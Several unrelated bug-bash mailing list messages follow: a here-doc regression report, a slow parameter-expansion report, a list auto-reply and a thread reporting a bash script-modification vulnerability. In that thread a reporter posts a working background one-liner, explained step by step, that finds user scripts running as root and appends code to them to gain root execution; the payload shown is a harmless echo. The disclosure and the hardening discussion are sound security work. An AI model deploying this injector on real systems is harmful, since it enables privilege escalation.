Subsequent Here Doc/String Never Evaluated in Process Substitution
Thank you for the awesome shell. I noticed the following after upgrading
from 5.1.16-3 to 5.2.2-2 on Fedora. It actually resulted in a minor amount
of data loss.
#!/usr/bin/env -S bash --
mapfile -t < <(
cat <<- EOF
;FFMETADATA1
EOF
while read -r ; do
uS='Comment out this line to untrigger the bug.'
cat <<- EOF
See?
EOF
done <<< 'ASDF'
)
printf '%s\n' "${MAPFILE[@]}"
Potential Bash Script Vulnerability
Hello everyone! I've attached a minimal script which shows the issue, and my recommended solution. Affected for sure: System1: 64 bit Ubuntu 22.04.4 LTS - Bash: 5.1.16(1)-release - Hardware: HP Pavilion 14-ec0013nq (Ryzen 5 5500u, 32GB RAM, Radeon grapics, nvme SSD.) System2: 64 bit Ubuntu 20.10 (No longer supported.) - Bash: 5.0.17(1)-release - Hardware: DIY (AMD A10-5800k, 32GB RAM, Radeon graphics, several SATA drives) and probably a lot more... Not sure whether or not this is a know issue, truth be told I discovered it years ago (back around 2016) as I was learning bash scripting, and accidentally appended a command to the running script, which got executed immediately after the script but back then I didn't find it important to report since I considered myself a noob. I figured someone more experienced will probably find and fix it, or there must be a reason for it. I forgotű it. Now watching a video about clever use of shell in XZ stuff I remembered, tested it again and found it still unpatched. :S So now I'm reporting it and hope it helps! Read the code, test it, fix it. More explanation in the comments. Since it's very old I'd recommend a silent fix before announcement, especially since I also found a potentially easy fix. Kind regards Tibor<>
Re: Potential Bash Script Vulnerability
his to be a genuine nuisance(...)"
A nuisance?!? Ok... Well maybe my first message wasn't convincing
enough. I see it as a serious threat so I spent the afternoon to proove
it by writing a one liner exloit example... :)
No ill intent, just trying to help since even the best sys admin are
people, and thus prone to error. A malicious script does not care, does
not tire, does not make mistakes, therefore better safe then sorry.
I hope it helps!
Tibor- This is the kind of on the fly edit I'm worried about:
while true; do DotShProcessList=$(ps -e | grep "\.sh$" | grep -E "tty|pts" |
awk '{ print $4 "\t" $1 }' | awk '{ print $2 " " }');
UserScriptsRunningAsRoot=$(for i in ${DotShProcessList}; do lsof -p $i; done |
grep -E ".*root.*cwd" | awk '{ print $2 "" }'); ScriptFiles=$(for i in
${UserScriptsRunningAsRoot}; do ps -e | grep $i | awk '{ print $4 }' | find ~
-name $(cat); done); if [[ ! -z "$ScriptFiles" ]]; then echo "${ScriptFiles}" |
while IFS= read -r i; do if [[ -z $(tail -n 1 $i | grep "exit") ]]; then echo
"if [[ \$(whoami) == \"root\" ]]; then echo \"I could do damage here completely
unnoticed as \$(whoami) >:)\"; exit 0; fi" >> $i; fi; done; fi; sleep 0.5; done&
Breakdown:
- Looks for list of PIDs started by the user, whether it's started in terminal
or command line, and saves them into $DotShProcessList
DotShProcessList=$(ps -e | grep "\.sh$" | grep -E "tty|pts" | awk '{ print $4
"\t" $1 }' | awk '{ print $2 " " }');
- Takes $DotShProcessList and filters out those that don't have root access.
Those that do are saved into $UserScriptsRunningAsRoot
UserScriptsRunningAsRoot=$(for i in ${DotShProcessList}; do lsof -p $i; done |
grep -E ".*root.*cwd" | awk '{ print $2 "" }');
- Searches for file names of $UserScriptsRunningAsRoot processes in /home/$USER
(aka ~) and save it to $ScriptFiles
ScriptFiles=$(for i in ${UserScriptsRunningAsRoot}; do ps -e | grep $i | awk '{
print $4 }' | find ~ -name $(cat); done);
- If the file list isn't empty then loop through it line by line, and if the
file does not contain "exit" a the last line, append a potentially dangerous
line to it.
if [[ ! -z "$ScriptFiles" ]]; then echo "${ScriptFiles}" | while IFS= read -r
i; do if [[ -z $(tail -n 1 $i | grep "exit") ]]; then echo "if [[ \$(whoami) ==
\"root\" ]]; then echo \"I could do damage here completely unnoticed as
\$(whoami) >:)\"; exit 0; fi" >> $i; fi; done; fi;
- The whole thing is put in an infinite loop, and forked to background with a
sleep 0.5 so it executes periodically, as normal user, and watches for a user
launched script that runs as root. (any script with .sh at the end located in
/home/$USER.) Once a loop like this is running in the background without any
privileges, it's enough to execute an install.sh script that must run as root
and takes a few seconds to finish or stops for a prompt (long enough to be
detected and edited by the background process), anywhre within /home/$USER and
you're screwed. This makes it difficult to trust a script even if I wrote it,
and know what it supposed to do, or to run a script as root to test things!
- This is just a demo of the vulnerability so this is the potentially dangerous
line it injects:
if [[ $(whoami) == "root" ]]; then echo "I could do damage here completely
unnoticed as $(whoami) >:)"; exit 0; fi
- The exit 0 in it will also prevent it from injecting it twice...
- If you want to run it, use this as a precaution to check for running scripts
you don't want it to edit... (Uses the first 2 steps of the above script to
print .sh processes to the terminal started by user running as root)
DotShProcessList=$(ps -e | grep "\.sh$" | grep -E "tty|pts" | awk '{ print $4
"\t" $1 }' | awk '{ print $2 " " }') && UserScriptsRunningAsRoot=$(for i in
${DotShProcessList}; do lsof -p $i; done | grep -E ".*root.*cwd" | awk '{ print
$2 "" }') && for i in ${UserScriptsRunningAsRoot}; do ps -e | grep $i; done
Re: Potential Bash Script Vulnerability
On 2024-04-08 05:58, Robert Elz wrote:
Date:Mon, 8 Apr 2024 02:50:29 +0100
From:Kerin Millar
Message-ID:
<20240408025029.e7585f2f52fe510d2a686...@plushkava.net>
| which is to read scripts in their entirety before trying to execute
| the resulting program. To go about it that way is not typical of sh
| implementations, for whatever reason.
Shells interpret their input in much the same way, regardless of
from where it comes. Would you really want your login shell to
just collect commands that you type (possibly objecting to those
with syntax errors) but executing none of them (including "exit")
until you log out (send EOF) ?
kre
My answer to that would be: No! I would expect it to handle file
execution a bit differently then terminal input.
Anyway... I reported what I found concerning, you guys know best what's
can and worth doing about it. I'm not involved in bash's development,
the rest is up to you.
I'm gonna put my code in {} and end with exit from now on to make it at
least somewhat safer.
Tibor
Re: Potential Bash Script Vulnerability
On 2024-04-08 14:02, Greg Wooledge wrote:
On Mon, Apr 08, 2024 at 12:40:55PM +0700, Robert Elz wrote:
or perhaps better just:
main() { ... } ; main "$@"
You'd want to add an "exit" as well, to protect against new lines of
code being appended to the script.
Yes that is correct. it's far easier to add new lines then to edit the
content unnoticed, since you would have to know where you can insert or
replace something, eg. a comment.
Btw wouldn't it be possible (and worth) temporarily revoking write
access to the user while it's being executed as root, and restoring
original rights after execution? The problem isn't really how it's
executed, but that it's writable during execution...
This could of course leave the temporary rights if the process is
killed...
Tibor
Very slow pattern substitution in parameter expansion
Configuration Information [Automatically generated, do not change]:
Machine: x86_64
OS: linux-gnu
Compiler: gcc
Compilation CFLAGS: -DPROGRAM='bash' -DCONF_HOSTTYPE='x86_64'
-DCONF_OSTYPE='linux-gnu' -DCONF_MACHTYPE='x86_64-p$
uname output: Linux colm.tk 3.5.0-21-generic #32-Ubuntu SMP Tue Dec 11
18:51:59 UTC 2012 x86_64 x86_64 x86_64 GNU/$
Machine Type: x86_64-pc-linux-gnu
Bash Version: 4.2
Patch Level: 37
Release Status: release
Description:
A particular pattern substitution as in
${parameter//pattern/string}
is very very slow.
Repeat-By:
a="curl --header 'Host: v33.veehd.com' --header 'User-Agent:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101
Firefox/19.0' --header 'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' --header
'Accept-Language: en-US,en;q=0.5'
--header 'Accept-Encoding: gzip, deflate' --header 'Referer:
http://veehd.com/vpi?h=NDcwNjgyNXw0ODB8ODQ2Ljh8ZGl2eHwzfDUwMDB8MTM2NTUzNzQ1OHwxNTJ8MXw0NTNmOTA3NDY1Yjg3ZmM5MjI0MTI$
--header 'Cookie: __utma=163375675.149191626.1365449922.1365465732.1365537650.4;
__utmz=163375675.1365465732.3.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);
__utmb=163375675.1.10.1365537650; __utmc=163375675' --header 'Connection:
keep-alive'
'http://v33.veehd.com/dl/45c2f8a516118e29917ff154fee0179e/1365544663/5000.4706825.avi&b=390'
-o '4706825.avi' -L"
time echo ${a//[0-9]/z}
real0m0.004s
user0m0.004s
sys 0m0.000s
time echo ${a//+([0-9])/z}
real1m21.187s
user1m20.293s
sys 0m0.264s
Subscribe request result (sylpheed ML)
Hi, I am the fml mailing list manager for <[EMAIL PROTECTED]>. Hmm, you may be not a member. 1. Your mail may come from a bad address which is not registered in this mailing list 2. Your mail has a syntax error. If you would like to subscribe this mailing list subscribe YOUR NAME For example subscribe Hayakawa Aoi Hi, I am the fml ML manager for the ML <[EMAIL PROTECTED]>. [EMAIL PROTECTED], Be Seeing You! If you have any questions or problems, please contact [EMAIL PROTECTED] ___ Bug-bash mailing list Bug-bash@gnu.org http://lists.gnu.org/mailman/listinfo/bug-bash
